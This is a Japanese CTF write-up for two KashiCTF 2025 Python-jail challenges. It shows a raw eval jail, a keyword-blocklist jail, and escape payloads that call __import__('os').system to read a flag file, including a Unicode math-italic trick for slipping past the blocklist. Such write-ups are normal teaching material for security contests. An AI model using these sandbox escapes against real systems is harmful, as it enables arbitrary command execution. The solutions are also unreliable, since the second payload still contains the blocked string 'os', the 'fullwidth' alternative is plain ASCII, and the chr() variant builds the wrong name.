pyjail wiki

KashiCTF 2025 - Easy Jail 1/2

Challenge

Easy Jail 1

基本的な eval pyjail。

code = input()
print(eval(code))

Easy Jail 2

ブラックリストフィルタ付き。

BLACKLIST = ['import', 'os', 'sys', 'open', 'read', 'eval', 'exec']
code = input()
for word in BLACKLIST:
if word in code.lower():
print("Blocked!")
exit()
eval(code)

Solution

Easy Jail 1

直接的なコード実行:

__import__('os').system('cat /flag.txt')

Easy Jail 2: Unicode バイパス

Unicode の数学イタリック文字を使用:

__𝘪𝘮𝘱𝘰𝘳𝘵__('os').system('cat ../flag.txt')

これらの文字は ASCII ではないため、.lower() や文字列比較をバイパスする。

Technical Details

数学イタリック文字

ASCIIUnicode Math Italicコードポイント
i𝘪U+1D62A
m𝘮U+1D62E
p𝘱U+1D631
o𝘰U+1D630
r𝘳U+1D633
t𝘵U+1D635

NFKC 正規化

Python の識別子は NFKC 正規化される:

import unicodedata
# 数学イタリック 'a' → ASCII 'a'
unicodedata.normalize('NFKC', '𝘢') # 'a'

フィルタの盲点

# フィルタは ASCII 'import' をチェック
'import' in '𝘪𝘮𝘱𝘰𝘳𝘵' # False
# しかし Python は NFKC 正規化後に識別子として認識
# __𝘪𝘮𝘱𝘰𝘳𝘵__ は __import__ として動作

Alternative Solutions

別解1: 全角文字

import os
# 全角スペースと全角文字を使用

別解2: chr() 構築

getattr(__builtins__, chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116))

Flag

KashiCTF{...}

References